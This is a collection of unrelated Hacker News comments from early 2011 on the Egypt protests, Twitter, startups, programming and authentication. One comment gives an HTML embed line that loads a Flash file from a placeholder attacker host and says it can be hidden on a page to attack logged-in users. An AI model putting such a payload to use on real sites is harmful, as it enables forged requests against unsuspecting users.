skysight-inc/HackerNews huggingface dataset:
> The first thing he asked me was my GPA, and after telling him it was about .08 points under their minimum cut-off, he simply handed my resume back and refused to talk to me.

They did you a big favour as that's a giant red flag. Visions of pointy-haired bosses and inscrutable bureaucracies flash through my mind.
I agree that it's not exactly "on topic" in the traditional sense, but it's important enough in the general sense, that a lot of hackers actually are interested. At the end of the day, what's on-topic or not reduces to what people vote up and/or don't vote up. People want to discuss this, so it's on topic unless pg or an editor decide they don't like it for some reason, and manually axe it.
Mubarak is baiting the protesters to become violent so he has an excuse to crack down on them. This will get messy soon.
Sensationalism and an unverified story, in the rush to grab attention at any cost. Kind of typical for today's mass media.
We're thinking that the Trusted Friends will be enough to removed really terrible content. A person simply has to ask one of those friends to modify/remove something!
(I'm one of the devs)
Sometimes I wonder why big corporations can even exist competitively as there is such downward pressure on productivity as they grow.

High barriers of entry. In 99% of cases the barrier is either capitol requirements, government regulation or both.

Or to put in other words, any business which can be challenged by a startup, will be. And it is only a matter of time until enough startups iterate through enough business plans until they find one that will steal your business.

So either be productive or be behind significant barriers to market entry.
I try to tackle some of these points in An Open Letter to the Erlang Beginner (or Onlooker) (http://ferd.ca/an-open-letter-to-the-erlang-beginner-or-onlo...).

As for the nine nines (99.9999999%) in the Ericsson AXD 301 ATM switches, Please note that this is not an indication that none of the components in an Erlang-based system failed, but that a general switch system was available 99.9999999% of the time, planned outages included. This is partially because Erlang is built on the notion that a failure in one of the components should not affect the whole system.
You're high.

> "It has replaced email for social things"

WTF? Maybe for you, if you say so, but people still get several orders of magnitude more social email each day that twitter messages have ever been sent.

> It's where people go to converse, to ask questions, to find out what is happening in the world. It's why Al Jazeera paid for sponsored search terms during Egypt.

> Twitter is giving a voice to people that are previously unheard, and in the future, this will be huuuuuge in 3rd world countries - remember that Twitter can work entirely via SMS. We have no idea what is happening in most parts of the world, but with Twitter, we can listen and learn.

That's utter BS. Egyptians on the ground, rioting, don't think "Oooh! I must tweet about this".

I'll give twitter 5 years before it's irrelevant. Maybe 2 years if AOL buys it.
Thanks for explaining what happened. Upvote and downvote buttons should indeed be farther apart.
For skinny pitches
Wow, great post, thank you!

This also gave me a new perspective on pg's "Beating the Averages".[1]

[1] http://www.paulgraham.com/avg.html
I think that is List Comprehension and not Generator. 'Return' would be replaced by 'Yield' in case of a generator.
Correct, most secondary markets only allow accredited investors. My point above is not that secondary markets are allowing the general public to buy shares, but rather, that secondary markets are a path to an IPO - i.e. if you were an accredited Goldman investor who bought in at a $50b valuation, you're likely hoping for a FB public offering to drive the valuation up to $75-100b so that you can dump your shares and double your investment.
Out of out-of-the box solutions like listed in the Poll, CheddarGetter has by far the best pricing for any bootstrapper.

Our European startup is using Adyen, a Dutch company.

I also use Amazon Payments for a subscription service I have.
Microsoft's Proposition: Bundle our OS, and you can join the rest of the hardware pack in a race to the thinnest margins and the most undifferentiated offerings, while we get rich taxing every unit you sell.

Google's Proposition: Bundle our OS, and you can join the rest of the hardware pack in a race to the thinnest margins and the most undifferentiated offerings, while we get rich advertising to (y)our user base.

HP has figured out that even though Android is "free," bundling Android with their hardware is the same business model as bundling Windows.
Barr could have edited it out if he didn't really believe it. A fleeting moment of awareness that you support fascism isn't really all that important in the grand scheme of things.
You down with MVP? Yeah you know me! (ok that sucked :P)
This is basic object orientation: You pass in an object that corresponds to the desired interface. "Facade pattern" if you need something to Google, but this is really basic language-agnostic OO stuff.

Another reason to dislike the Java cruft; it successfully hides the simple things going on behind immense machinery and complicated terminology.
I agree, the site as a whole would benefit from those. But I was referring to the documentation for each API call, and specifically the way you can make test calls to the API from within the docs themselves. I've seen API sandboxes before, but as far as I know this style of combining docs with live test calls is unique.
Don't Ever Click Here. Build a Business, Stop Guessing and Reading
> I'll give twitter 5 years before it's irrelevant. Maybe 2 years if AOL buys it.

I'll take that bet thank you very much. :)

How about: if Twitter hasn't IPO'd / been acquired for greater than $10Bn in 5 years, you owe me dinner. (we live close to each other remember)
complicit
Mubarak is not resigning. Looks like your friend is still in this game.
Why would the CIA want it to get bloody?
Agreed, it actually makes me feel proud that this community is so well rounded...unlike a lot of other fields.
I have no sympathy for Mubarak, but the way the mass-media has been covering this has been totally one-sided. There are a few interesting technical sides of the story (Internet getting shut down), but overall the whole thing smacks too much of propaganda. So I agree that the general story has no place on HN.
<embed src="http://attacker.com/evil.swf></embed>

is all that you need to execute this attack in your browser. An attacker can hide the applet via CSS and put it on a legitimate looking page. All the target needs to do is be logged in.
Facebook now allows to switch between user and fan page
This is really a new cool feature.
http://imgur.com/O1TMe
"Google Goggles has a faster barcode scanner built in"

Not sure how to make that sentence more straight forward.
Whether it's possible for an employee to contribute a huge amount of profit is highly dependent on the business and the function of the employee. If you're a restaurant chain (like one of the examples in the article), and most of your employees are waiters or cooks or delivery drivers, then there's no way that any one of them can possibly generate a million dollars of profit. If you're a software developer or a banker, then you can. Making generalizations across such widely different business categories doesn't seem to make sense.

A better methodology would have been to track productivity per employee vs. number of employees, but broken down by industry group. Then you could see if the relationship is true of only some industries, or across all of them.
"These pessimistic observations of long-term economic growth are in many ways a much needed splash of cold water in the face for the Kurzweilian "The Singularity is Near" crowd, the people who think nearly everything important has been growing exponentially." [emphasis added]

For the "great stagnation" folks, apparently "everything important" is macro and that indeed, in a documentable way has not been growing exponentially. For the singularity folks "everything important" is micro and has been growing exponentially in a documentable way.

If the article had an argument why micro stuff has suddenly stopped mattering, that would one thing. But the discussion here seems to dismissal through mere trick-language.
Re: Open sourcing:

- Benefit: Releasing as open source automatically brands you an expert.

- Benefit: Far increased exposure
Yes, I installed Redis locally. I am using only as a key-value store for a locally running Python script.
The Many Faces Of… Leonardo DiCaprio
From the 70's indeed. In fact, it looks like the CIA tried to implement a device from 70's juvenile Sci-fi.

http://en.wikipedia.org/wiki/Danny_Dunn,_Invisible_Boy
There's the famous quote about software features: most people only use 10% but they all use a different 10%. Windows XP SP2 was held up because Deer Hunter wouldn't run but I doubt most people on hacker news have ever even played it.

Sure, every platform might end up with a copy of Angry Birds but the more fringe the platform the smaller the selection. It's almost guaranteed that not a single innovative app or game will come to WebOS first. And who knows how long it'll take the platform to even get Angry Birds. That's a significant disadvantage to owning a Touchpad.

I'm on the fence as to whether or not HP should have used the Palm brand for all this technology. It seems a logical choice to use Palm but the HP brand implies size, money, and staying power that Palm hasn't had recently.
Lost iPhone? - Lost passwords stored in keychain
So this is what confuses me about claims that in Python you don't need all this extra cruft, because the language makes these things possible:

if you are using the Facade pattern in Python for this example, you'd be using the same pattern in Java.

So then, what exactly is different here?
Until September. And who would you have him give power to? There is no democratically selected replacement. Which is why he is waiting for an election, in which he will not be a contender, to give power. People will have time to vet and debate the candidates. You'd rather there be a power struggle amongst radicals leading an angry mob, to see who replaces Mubarak as dictator? I think Mubarak is doing the sensible thing, and at least deserves the benefit of the doubt.
I'm not sure that it does the same job.
Great to hear, Josh! If you encounter any issues whilst using the app feel free to drop me an email at simon@wakecodesleep.com or just use our Get Satisfaction :)
Let's hope it doesn't come to that. Any violence on either side means many, many people will be killed in the struggle.
I very much doubt that the military would be willing to follow such orders, even given violent incidents. They might but I don’t think that Mubarak has currently anything like absolute power over the military.
Agreed. And if I remember correctly, the previous version DID have examples.
No, I read it that apps only work for paid users (who only need pay once).
What's disturbing to me about this is not the technology (which is awesome), but the fact that it's been buried in the government trenches for 40 years. That kind of knowledge hoarding seems highly antithetical to the "American spirit".
Network effects are a major barrier as well. The biggest problem facing a Facebook or eBay competitor, and the problem that's faced various would-be Windows competitors, is that it's hard to beat a platform that derives value in large part from its ubiquity.
Can someone suggest a good book for learning Discrete Math? I have Rosen's book, but I did not like it much.
Have you received a debilitating amount of inquiries from people trying to sell you their services since the press release went out with all of the names of the companies?
I think you're confusing "mainstream" with "ubiquitous".
You're right that according to the site's guidelines (http://ycombinator.com/newsguidelines.html) political stories are usually off-topic.

Off-Topic: Most stories about politics, or crime, or sports, unless they're evidence of some interesting new phenomenon.

However, there is an exception given for "interesting new phenomenon". I would say revolutions of a scale not seen in a region for thousands of years would qualify.
Wow the writing in this piece is atrocious.

"Let's be very clear, the competition is Apple (AAPL), but those hardware companies who would take on the gang from Cupertino, HP among them, have one huge disadvantage, they don't really do software."

"What HP did when it dropped $1.2 billion on Palm, was signal that software is finally front and center for the largest PC company on the planet."

Commas are great, they help you get away, for example, with run-on sentences, the only thing is, you can't just put them anywhere.
Ok, but what is Google offering?

Unless I'm missing something, RFC 4226 sounds like the RSA SecurID system I've worked with before; which is essentially equivalent to Blizzard's system for World of Warcraft.

In which case, my criticism stands. It's trivially more difficult to phish a keycode and the limited window of opportunity is simply a non-issue.[1]

Unless Google is calculating a one-time pad based on the individual login attempt and sending it along a second channel to the registered user, there'll be almost no reduction in phishing.

[1] The tens of seconds a keycode is valid are more than enough to establish a connection.
That's a fantastic premise for a sci-fi short.
"So you have a lot of facebook friends... but are they all really your friends? "

I wonder who want to know the answer.
Google's New Social Layer?
Let's see, the headline is:

"Defiant Mubarak vows to stay in office until Sept. elections"

and the article has:

"Hundreds of thousands of protesters respond to Mubarak's speech with 'get out, get out!'"

So, Egypt is a country with some tens of millions of people, and some "hundreds of thousands" are unhappy. Also, Mubarak has been in office for a long time and, thus, passed whatever process Egypt has for picking a 'legitimate' government. And, the "protesters" apparently are claiming mostly just that they don't like what Mubarak has been doing and not that the government he heads is not legitimate.

So, in a country of some tens of millions of people, "hundreds of thousands" are trying to bring down a legitimate government and replace it with, what? Anything more legitimate or less? And of the "hundreds of thousands of protesters", their process of changing a government is some tiny fraction of the population "shouting" in a public square?

So, in the headline:

"Defiant Mubarak vows to stay in office until Sept. elections"

with "defiant" and "vows", the suggestion is that Mubarak is doing something wrong.

Then am I the only one here who concludes that the article is being irresponsible and trying to create violence, maybe Egypt with some tens of millions of people without a clearly legitimate government and, thus, a good chance of a long, bloody, civil war that also disrupts the world including the US economy?

It very much looks like

Douglas Stanglin, USA TODAY

wants a war, in particular a religious war, with Jihading Muslims, that might kill some millions of people in Egypt, might spread from Casablanca east to Afghanistan and on through South and South East Asia, might kill some tens of millions of people, might so seriously disrupt the world economy, say, about little things like oil, that we could have WWIII and kill nearly everyone?

So, my understanding is that Mubarak's term is up in September. Then to preserve their process of selecting a government, definitely Mubarak should stay in office and try to do what he was selected to do until September, and apparently that is what Mubarak just announced he will do. I'd say he did the 'statesman' like thing.

For

Douglas Stanglin, USA TODAY

apparently he's just a 'newsie' and a brain-dead, disconnected, clueless, irresponsible, blood thirsty one at that. Maybe he wants a "scoop"; someone please rush down to Petco and get the brain-dead newsie a "scoop", hopefully used.
Pivot or Die
I wouldn't be surprised. Desperation move but I suspect someone if not him specifically has been trying to do this since this whole thing started. They violently defended themselves on the night of Feb. 3/4 but immediately went back to peaceful when the attacks stopped. Another expected reaction would be rioting, burning, and looting, which has yet to happen.

I hope they can restrain themselves this time too until Mubarak wakes up from his dream, but there is a ton of anger now.
Visualize Venture Capital Funding at Fundastic.info
er, as someone who did much database access in assembler, I'm going to have to disagree with your analogy.

You could argue "between Python and C"... but most certainly NOT assembler
NYC’s “Mole People” and how this relates to tech startups
Exactly. The last time he gave a speech, it was the very next day that the supposed pro-Mubarak supporters turned Cairo into a medieval warzone.
My thoughts on Do Not Track and online privacy
Thanks, that'll help.
The military has never really been Mubarak's tool of repression, but rather the police force as well as hired thugs.
I don't think the correlation is that strong. Most of the points are in the centre. Is there any statistical data on how strong the correlation is?
agreed. it's also widely considered to be a technology-inspired revolution.
When should we launch?
Facebook's Activity Stream Widget Fetches on a Logarithmic Delay
It reminds me of the Main Sequence graph:

http://www.google.com/imgres?imgurl=http://cs.wellesley.edu/...

I wonder where the White Dwarfs and SuperGiants are?
But then you need to have the original password in cleartext somewhere, so I would say that is not the way you do it. I think the way this is more likely to be done is by generating a random token that is broken up into pieces using XOR magic. Each factor in the auth process gives you access to one piece of that token. You combine those pieces back together using more XOR magic and, if your token matches the original token, you can proceed.
Having it look different to every user, with no 'canonical' view or hierarchy, is an actual design tactic, inherited from Facebook, which makes the site more inviting to certain kinds of exploration and growth.
"11:01 a.m. ET: CIA Director Leon Panetta says there is a "strong likelihood" that President Mubarak will step down today."

http://content.usatoday.com/communities/ondeadline/post/2011...
Turkey? Iran?
What is most compelling about this is first it was Tunisia, then Egypt. Who is next?

If it continues it will probably be world-changing no matter what the outcome.
Here are the data points, where each number is the number of seconds since the page started loading, according to Firebug.

http://www.wolframalpha.com/input/?i=31.6+49.6+70+99+121+157...

Fits pretty well on the logarithmic scale.
Apple Planning Smaller iPhone Priced at $200 Without Contract
An update of this is at http://www.cybaea.net/Blogs/Data/Employee-productivity-as-fu...

This echoes the often-cited effect that communication overhead increases drastically with headcount.
Barry Boehm: adding programmers to a late project makes it later.
Looks like you might have spoken too soon: http://news.ycombinator.com/item?id=2203697
I was directly responding to this portion of the parents posts:

Small bits of it can be algorithmically simulated. Large processes can be algorithmically simulated. But to call the algorithm "intelligence" is sympathetic magic.

Algorithms work in a different way; they break in a different way; they are hard-coded so don't change. They are a simulation.

By the structuring of his description, it is apparent that he is reasoning from an application or "computer" if you will, developers perspective. My point was that it is flawed to look at AI software as rigid structures, applying traditional development patterns is flawed and does not reflect the realities of AI development. Put simply the description of AI as hard-coded paths and developer generated (implied) algorithms is in no way factual.
GTK+ 3.0.0 released
I think what he's saying is if your CSRF protection is based on a nonce, this vulnerability doesn't break it.
Activision pulls plug on Guitar Hero, laying off 500 workers
You're my officemate and you don't even know it.
I can't write on a chalkboard or be in the same room as one that is being written on. The sound and feel of them gives me a perpetual shiver and extremely strong physical reaction.

The chalkboards would be a significant hindrance to my productivity. I much prefer a whiteboard for this reason.
I'd guess either Jordan or Syria.

Though I'd expect autocrats around the world will not be pleased.
Other dictators have expatriated themselves suddenly, then later discovered their former countries repatriating their money.

I don't think Mubarak has to worry about that. His close friend King Abdullah of Saudi Arabia has already stated any aid that the US withdraws, he will make up. Money is not an issue in this.
Ugh. No, I repeat, the Turing Test is not about intelligence - it's about whether or not the entity in question can think. Please, read the link I posted, it's all in there.

Also, where on Earth do I equate feigning intelligence with possessing intelligence. You're just making that up.
The problem for the police and hired thugs is that the military is on the street. I don’t think cracking down on the protestors is currently possible without the support of the military.

I think that the military is the key actor: Will they use violence is the big question.
Good explanation, thanks.

The part I don't understand is the POST hitting the victim app. I don't know django but rails apps require an authenticity token to be included in all non-GET requests. How does the attacking app satisfy this token check?
Job Competition Rises to 9 People per Opening
Seems like Iran gave that a try before but without much success. Depending on how you measure success of course...
I love it

"No Fat Pitches"
What a great guide to gradients. As someone just getting the hang of design and css I find it really interesting the "hacks" that front end designers come up with to bend CSS to their will.

It's almost like implementing the entire functionality of the gradient tool in photoshop.
What's interesting is that several of the potential countries have been taking pre-emptive steps to avoid exactly this situation. Yemen's dictator said he won't try to get his term extended to life, Jordan's king sacked his entire government, Algeria's dictator pulled back the country's two decades of emergency law, and Syria cracked down on protesters with police beatings...
Mubarak can only hang on because the military supports him. The military is a giant conscript army of regular kids, and a corrupt officer corp that controls a giant chunk of the Egyptian economy. Those officers will never release their grip on the country. They will replace Mubarak with another strongman.
Ok, I'll make it now (sorry for the delay, I got into a discussion with my cofounder).
> "To me, swings in MBA aspirations seem to track to a perception of 'where the easy money is' or, in bad times, 'where the safe jobs/career paths are'."

Interesting statement. Anyone else thinking the same (or differently), and can back it up with numbers?
It is broken down by industry group. If you look at the graph, each industry is a different color.
Cool --- shoot me an email when you're ready. elizabeth [at] shinyorb [dot] com. Thanks!